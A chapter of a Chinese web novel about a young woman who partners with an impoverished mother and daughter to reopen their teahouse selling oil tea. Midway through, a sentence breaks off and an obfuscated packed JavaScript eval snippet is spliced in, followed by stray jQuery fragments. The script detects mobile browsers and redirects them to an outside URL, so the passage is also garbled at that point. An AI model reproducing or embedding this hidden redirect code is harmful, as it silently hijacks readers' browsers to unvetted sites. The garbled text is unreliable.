15. 一举两得
作品:《我在古代烹油茶》 翌日,凤凌照着昨日杨家母女给的地址来到城西一偏僻小巷中。
小巷仅有三两户人家,每家的院墙均以大小不一的方形石块砌就,多数石块被雨水腐蚀,呈凹凸不平之状。
敲响其中一户的大门,几息后,一个带有试探意味的女声自门后传来。
“是谁?”
凤凌靠近门边,回答道:“杨姑娘,是我。”
话音刚落,门被打开,露出门内秀雅的脸。杨沁茹道:“凤姐姐,你来了。快请进。”
随杨沁茹的脚步踏进屋里,小小的厅内仅有桌椅,墙上空荡荡,连一幅字画也见不着。很难想象,这样的人家曾经是皇城里的富硕。
杨母刘氏已在屋内将茶沏好,她请凤凌坐下,道:“昨日凤姑娘搭救,我们母女铭感五内。家中拿不出什么好东西,现在只能以清茶招待姑娘。”
凤凌接过茶水,浅浅饮下几口,然后定定望着杨家母女,道:“今日我来是要同你们商讨合作一事。”
杨家母女异口同声:“合作?”
凤凌道:“昨日我所说的,三个月让茗香楼赚足一千两并不是用来拖延时间的借口。而是我真的有办法,只是需要二位帮助。”
杨沁茹自己倒了杯茶水,一饮而尽:“凤姐姐,分明是你在帮我们,何来帮助一说。”
凤凌解释道:“我本是北越城城主之女,此次入皇城并非游玩,而是有两件事要办。其中一件事已得了结,还有一件事却令我一筹莫展,直至昨日遇到你,我才有了眉目。”
杨沁茹闻言不解地皱眉。
凤凌顿了顿道:“这么说可能你听不明白,我直接讲重点。简单来说,就是北越城缺钱,我想入伙与你共同经营茶肆。如此,一来,你们杨家的一千两可以还上,我也能如愿赚到银两回北越城。”
杨沁茹这会儿听明白了,她扯开嘴角道:“我与母亲算过,茗香楼的收益,除去我们母女最低的日常花销,至少需要三年才能赚足一千两。三个月……怎么可能。”
凤凌道:“若是继续做茗香楼以往的普通茶水生意,确是不行。可换一种生意做,应是能行的,只看你们是否愿意。”
一直在旁沉默的刘氏忍不住开口问:“凤姑娘,不知是何生意?”
她又迟疑了一下,补充道:“我们家虽已败落,但也不愿做伤天害理的买卖。”
凤凌笑道:“杨夫人你误会了,我说的生意也是茶水生意。不过,可不是你们现今茶肆里卖的那种茶,而是一种特殊的茶,这种茶名为‘油茶’。”
刘氏疑惑道:“这种茶我以往闻所未闻。”
凤凌道:“油茶是一种以特殊手艺制备的饮品,在北越城中大受欢迎。我想,在这江南贩卖,或许能取得更大的反响。”
毕竟,这江南的人可比北越城多得多,自然能赚更多。再说了,她的油茶可不止驱寒这一功效,对付这江南的湿气,油茶或许有出乎意料的成效。
她继续道:“若是杨……沁茹妹妹愿意与我合作,三日后便能在茗香楼中卖油茶。”
杨沁茹与母亲刘氏对视一眼,她们都看到了对方眼里的决意。与其胡思乱想坐以待毙,不如且试一试,或许真有机会也说不定。
良久后,桌上的茶壶已空。
杨沁茹认真朝凤凌道:“凌姐姐,我愿意与你合作,愿意去试一试。”
凤凌捏着空空如也的茶杯,她原以为这俩母女还要考虑上一段时间,没曾想她们立刻就答应了。
凤凌目光炯炯:“沁茹妹妹,你当真愿信我?”
杨沁茹起身,朝凤凌欠身一拜:“昨日里若不是得凤姐姐解围,我现在许是已经被掳去谭家。”
抬眸时,只见她目光坚定,仿佛变了一个人似的,昨日的软弱消失不见。只听她缓缓道:“即便是三个月内挣不到一千两也无妨,经昨日的一遭,我约莫是想明白了。把茶肆抵给他又何妨,这样我也还能去一些大的茶肆献曲卖艺,应能勉强让我与娘亲二人饱腹。以前总还念着自己好歹有个小姐的身份,不便抛头露面。可如今,祖宅、祖业仅余茗香楼,甚至连自身的安危也保不住,我还算是什么小姐。”
凤凌心中了然,她道:“沁茹妹妹,我既然开口说要合作,那必然是有把握的。至于其他的,你不用担心。况且,你不是还精通音韵吗?”
杨沁茹谦虚道:“家里败落前曾为我请过皇城内有名的老师,学了几年琴,不敢谈精通二字,只或许是听着顺耳罢了。”
凤凌由衷地笑道:“如此,我的把握又增加了一分。”
“只是……”杨沁茹话语间略带吞吐,“我其实已经有段时间没有弹琴了,不知能否弹好。”
她脸上泛起哀伤:“我兄长在祖宅抵押出去后不久就把我的琴给砸了。只因我当日弹的曲子里有哀怨。”
凤凌牵起杨沁茹的手仔细端详,安慰她道:“你这手看起来就是弹得一手好琴的手,定不会因为有段时间没弹便技艺退步。”
“还有一事,你们住的地方离茗香楼过于远了,对于我们合作也有不便。”凤凌从衣袖里摸出一张纸条,敞开放在桌面上,“因打算在皇城多留段时间,我昨日已让人租下距离茗香楼最近的一处空置宅院,现还有房间空余,你们可愿搬去与我们同住?”
纸条上写有一行字,像是地址。
杨家母女闻言,眼眶有些发红,她们原以为在经历过以往的起起落落后心中很难再有波动,但凤凌的出现,凤凌的相助让她们看见了光。
刘氏紧紧地捏着纸条的边缘,感激道:“多谢凤姑娘。”
……
暮色在皇城降临,月亮蒙上薄雾,让人看不真切。幸得街道上灯火通明,夜晚的道路才畅通无阻。
凤凌一行已离开客栈搬至茗香楼旁的宅院内,至于杨家母女,她们也答应明日就会过来。
此前,凤凌与她们作下约定,三个月内还完一千两后,茗香楼后续的盈利对半分。毕竟,她只不过是出了油茶的配方,场地、伙计全是杨家的。但杨家母女却不同意,她们坚决要从一开始的盈利开始计算,说在还清欠款后,该属于凤凌的那份一定要补上。凤凌拗不过她们,也只能答应了。反正,这是对她更有利的。
三日后,茗香楼前聚集了不少人,议论之声不绝于耳。
“听说了吗?茗香楼今日要重新开业。”
“是换东家了吗?怎么招牌还蒙有红布?”
“没有,我听说东家还是原来的那个杨家。”
“既没有换东家,那为何要更换招牌?”
“许是之前那个不好,换个新的吧。”
原茗香楼的掌柜李福贵站在盖有红布的招牌下,大声朝众人道:“感谢各位街坊领居捧场,我们茗香楼今日正式更名为沁凌楼。”
说罢,他郑重扯下连接着红布的细绳,瞬间后。红布飘落,露出崭新的“沁凌楼”三字。
李福贵接着道:“各位,我们沁凌楼推出一种新茶,名叫油茶。入内饮茶还有曲子听,欢迎大家前来一试。”
众人闻言,面带好奇之色。十人里足足有八九人在掌柜的鼓舞下踏入沁凌楼内。
凤凌此刻不在沁凌楼,而是站在正对面的衣料铺子前,不断观察沁凌楼那边的动静。
当她看到那崭新的招牌时,心里有一种微妙的感觉。这个新的名字还是杨沁茹想的,原本是将她的名字放于前面,叫“凌沁楼”。可这好似有些奇怪,再者,茶肆本就是她们杨家的,自己的名字在前总归不妥。所以,最后还是变成了沁凌楼。
少顷,空灵婉转的琴音自沁凌楼内隐约流出,似隔着薄雾观美景,朦朦胧胧,令过往行人驻足,心驰神往。有些衣衫不凡的人,更是直接进入楼内。
跟在凤凌身边的人除了七郎,其余人都已在沁凌楼里帮忙。不一会儿,张皓在沁凌楼门口支起一张木桌,桌上放置一大摞瓷碗,桌旁立有一个大木桶,木桶里盛满黄金色的油茶。
小梅从沁凌楼内走出,朝过往行人道:“卖油茶啦——十文钱一碗。”
此时,刚才原本有些犹豫的人也凑了上来,好奇问道:“你们茶肆里的茶才卖十文钱?”
皇城里的其他茶肆,入内喝茶就动辄要十五六文,即便是街边支起来的茶摊,也很少有十文钱的。
小梅回答:“入茶肆内,一楼大厅喝茶要二十文,二楼雅座有曲子听,为三十文,但若在门口站着饮用,只需十文。”
那人一听,觉得在门口饮茶才是真正捡到了大便宜,马上掏出十文钱要来一碗茶。入口后,陌生的辣味让他皱起眉头,但随之而来的醇厚感也令他忍不住赞叹。
见状,旁边有些人也从粗布衣里掏出十文钱,纷纷想要尝试。
凤凌靠在衣料铺子的墙边,颇为满意地望着对面的一幕。
七郎在她身后问道:“姐姐,你为什么要帮她?”
凤凌扭头:“这既是在帮她,也帮了我自己。”
七郎似懂非懂地点点头。
“不是让你在铺子里挑两块衣料吗?怎么出来了。”凤凌看着眼前已同她一般高的少年道,“我们或许还要在皇城待上几个月,你这件衣服都有些窄了。”
她随手摸了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530620|169621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一把七郎腰间看起来勒得比较紧的位置,惹得他浑身一僵。
七郎用有些奇怪的语气道:“知道了,姐姐。”
与此同时,沁凌楼二楼雅座。
一妙龄女子蒙着面纱在雅座间弹奏,纤纤玉指下,一把平平无奇的古琴发出惊人之音。古琴边上摆有一尊青铜莲纹香炉。香炉青烟袅袅,空灵的琴音与青烟相缠绕,飘荡于空气中。
几位华服公子哥端坐于精致的木桌前,每人身前均有一碗金灿灿的茶汤。
其中一人低头浅饮,缓缓道:“这茶喝着有些奇怪,但这曲子着实不错。”
另一人反驳道:“岂止不错?此曲充满灵韵之气,比繁楼里的红姑娘弹得还要好听。”
又一人道:“这间茶肆我之前来过,记得是叫茗香楼,但当时并无如此动人的琴音。”
另一人也道:“啊,此等仙乐,这不大不小的茶肆居然肯下这么大的本钱请来比繁楼还要厉害的乐姬。”
隔壁桌上的一人道:“你们可就不知道了吧,弹琴者不是什么乐姬,而是这间沁凌楼的主人。”
话音刚落,周围的几人都纷纷向他投射出求知若渴的目光。那人得意地一笑,开始向几人讲述起他前些日子里的见闻。
……
入夜,一间明亮的雅居内,传出女子惊喜的呼声。
“凌姐姐,今日茶肆竟赚到整整二十两!”杨沁茹手持账本,眸中闪烁着雀跃,“这已经赶上先前半个月的收益。”
凤凌未露喜色,才二十两,远未达到她的预期。但今日才是个开头,她的油茶远不止如此。把身前兴奋的小姑娘劝回房间休息,她坐于桌前,拿出纸笔,准备给家中写信。
她于信上洋洋洒洒叙述近日经过,并说明她要留在皇城,约莫四五个月方能回去。她在书信最后写道:父亲,此次若能成功,您忧心的事或可得到彻底解决。
把信纸折叠后,放入准备好的信封内,摆在床头。天色已晚,此信只有明日方能交予信差。
她活动了几下手臂,感觉身上有些黏腻,缓缓进入浴间洗浴。
浴间内摆有一个半人高的大木桶,木桶里的水仍温热,水面上漂浮有几片青绿薄荷叶。
这桶水是黄昏时小梅为她烧的,此后,小梅前去沁凌楼帮着伙计们清点、准备着明日油茶的用料。想来,小梅应该也快要回来了。
她缓缓褪下衣衫,进入木桶内,清爽舒适的快感瞬间将她包裹,让她不由地合上双眼。
许久后,发觉手指轻微起皱,她才有出来的打算。刚要踏出浴桶,她才想起,进来时忘记拿沐巾了!
虽说不擦干直接进卧房也无大碍,但卧房里的地面铺有凉席,那东西若是湿了定然要在太阳底下暴晒几个时辰方能干透,否则可是要生虫子的。
于是,她朝外喊道:“小梅,小梅你在吗?”
发觉外面全无动静,她扯着嗓子又喊了一声:“小梅——”
几息之后,七郎的声音隔着木门传来,带着少许焦急:“姐姐,你怎么了?”
“是七郎吗,小梅她们都不在啊。”凤凌随口道,“你进来吧,我正在沐浴,你帮我从房里的架子上取沐巾来。”
七郎迟疑了片刻后道:“是,姐姐。”
他自己都没察觉,他的声音有些发颤。
他轻手轻脚入内,眼睛不敢四处张望,只按照凤凌所说拿了浴巾后便走入浴间。
浴间不大,水汽萦绕。湿湿的空气闯入他的鼻息之中,湿润里又潜藏着一股灼热感,将他烧得喉间发哑,连带着屏风上的亭亭净植的刺绣莲花也变得诱惑起来。
凤凌隔着屏风望见那道一动不动的人影,道:“七郎,将沐巾挂在屏风上即可。”
“嗯。”
白日里甜软的少年音变得低沉暗哑,甚至带有一丝无法察觉的隐忍。
待外边传来关门声后,两条纤长笔直的腿自木桶内跨出。凤凌白皙剔透的脸颊带有慵懒之色,红润的嘴唇水光潋滟,让清婉的容貌添上几分娇媚。
经薄荷水洗浴,她夜里睡得极为安稳,初入夏日的燥热感一扫而空。
日头升起,她醒来时神清气爽,穿戴整齐走出房门,发觉院子中央的井边站着一个扎着高马尾的少年,他好像正在从井里提水。
凤凌朝他喊道:“七郎,早啊!”
七郎手中稳稳握住的木桶不知怎么忽然重重地摔落在地上,木桶里的水将周遭的青灰色地面染成深褐色。
凤凌眼见他手忙脚乱扶起地上的木桶,背影透出无措。不禁暗叹,这孩子怎么今日毛手毛脚的。